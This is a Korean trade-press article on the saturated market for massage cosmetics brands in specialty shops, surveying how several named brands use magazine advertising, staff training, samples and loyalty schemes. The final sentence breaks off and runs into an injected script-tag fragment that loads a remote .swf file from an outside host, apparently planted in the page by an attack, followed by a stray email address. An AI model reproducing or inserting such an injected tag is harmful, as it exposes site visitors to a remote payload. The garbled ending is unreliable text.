최근에 만난 두 명의 마사지 브랜드 관련 종사자는 머리 속으로만 청사진을 그리던 상황에 찬물을 끼얹는 이야기를 내뱉었다. “성장 여지는 많은데 어떤 한계에 부닥친 것 같아 답답합니다.” “글쎄요, 이미 시장이 포화상태에 접어들었다고 생각되는데요.” 약간 내용은 다르지만 갑갑하기는 마찬가지다.
산술적으로 보면 포화상태가 맞다. 전국 화장품전문점 1만여 곳 중 마사지 베드가 있는 곳이 약 2,500여 곳이라고 할 때 15개 가량의 브랜드가 평균 300개 안팎의 전문점과 거래를 하고 있는 상황으로 포화가 맞긴 하다. 따라서 거래 전문점을 확보해 출고 물량을 늘리는 영업에 있어서는 적지 않은 어려움이 있을 것이다.
그러나 시선을 돌려 소비자층을 대상으로 마케팅을 전개한다면 더 많은 가능성이 기다리고 있을 수도 있다. 이제 매장별 매출을 획기적으로 높일 것을 고민해야 할 때라는 지적에 힘이 실리고 있다.
이와 같은 측면에서 일부 브랜드의 여성지 광고를 적극적으로 전개하면서 매출이 크게 늘었다는 점은 주목할 필요가 있다. 지금부터는 마케팅에 그 브랜드의 성패가 달려있다고 해도 과언이 아니다. 주요 마사지 브랜드의 마케팅 현황을 살펴보자.
애경산업 지젤드롬은 전문지 및 여성지 등을 통해 적극적인 홍보를 전개하고 있으며, 엄선된 자연원료와 뛰어난 스킨케어 효과를 집중적으로 알리고 있다. 또한 본사에 소속된 9명의 강사가 각 대리점에 포진한 80여 명의 미용사원들을 대상으로 활발한 교육을 전개하고 있다. 현재 25개 대리점 280여 개로 운영되고 있다.
브랜드 매니아 만들어라
소니코스메틱의 소와뉴는 제품력과 철저한 교육을 중심으로 무분별한 확산보다는 전문점 하나하나의 회전율을 높이고 브랜드 매니아 형성에 주력한다는 방침이다. 이와 같은 신중한 행보에 따라 현재 대리점 3곳과 전문점 100곳의 영업망이 구축돼 있으며 꾸준히 성장세를 타고 있다.
플래니찌의 플래니찌는 샘플 및 마시지 테스트 제품 공급을 통해 전문점과 대리점의 매출 확대를 지원하고 있다. 브랜드 인지도를 높이기 위해 현재 각종 여성 잡지 및 전문지에 대한 광고를 확대하고 있다. 지속적인 라인 추가와 함께 거점 대리점을 중심으로 순회 교육을 실시하면서 매출확대에 나서고 있다.
한국폴라는 폼 비에이 엑스트라의 매출 신장을 위해 최고 가격대지만 제품력이 확실한 고기능성 엑티브 제품이므로 고객이 제품을 직접 사용해보고 효과를 실감할 수 있도록 하는 전략을 펼치고 있다. 집중교육, 샘플공급, 현장 테스트가 그 구체적인 내용으로 점차 좋은 반응을 얻고 있는 것으로 알려지고 있다.
JNC화장품의 뉴 셀 써라피 등 제이슨 브랜드들은 높은 품질력과 차별화된 서비스로 고객이 원하는 효과와 편리성을 추구하여 시장변화에 적극적으로 대처한다는 고객본위 마케팅 전략에 따라 판매되고 있다. 특히 ‘사용체험수기’를 통한 고객 피드백이 돋보인다. 점주들에게는 확실한 상권보장을 통해 가격과 수익구조가 흔들리지 않도록 챙겨준다.
백화점 고객층 집중 공략
프랑코화장품에서는 프랑코바로니가 고품질 화장품으로서 자리매김할 수 있도록 전략을 구사 중이다. 우선 화장품전문점의 틈새 시장을 노리고 있다. 일대 일 고객 림프 경략 마사지를 제공해 방문판매와 백화점을 이용하는 고급 소비자를 집중 공략하며, 철저한 제품 차별화 정책과 리콜제의 실시로 품격 높은 전문점 브랜드로 육성하겠다는 계획이다.
마베르뜨코리아의 마베르뜨는 전문점 영업 활성화를 위해 카운슬링 및 마사지 지원에 역점을 두고 있다. 브랜드 홍보를 위해 패션지 등에 대대적인 이미지 광고를 전개하고 있으며 회원 DB를 활용, 브랜드 충성도를 높이는 데 전력을 기울이고 있다. 또한 컨설턴트(미용사원)의 영업 마인드 고취와 본사와의 유대관계 강화도 전문?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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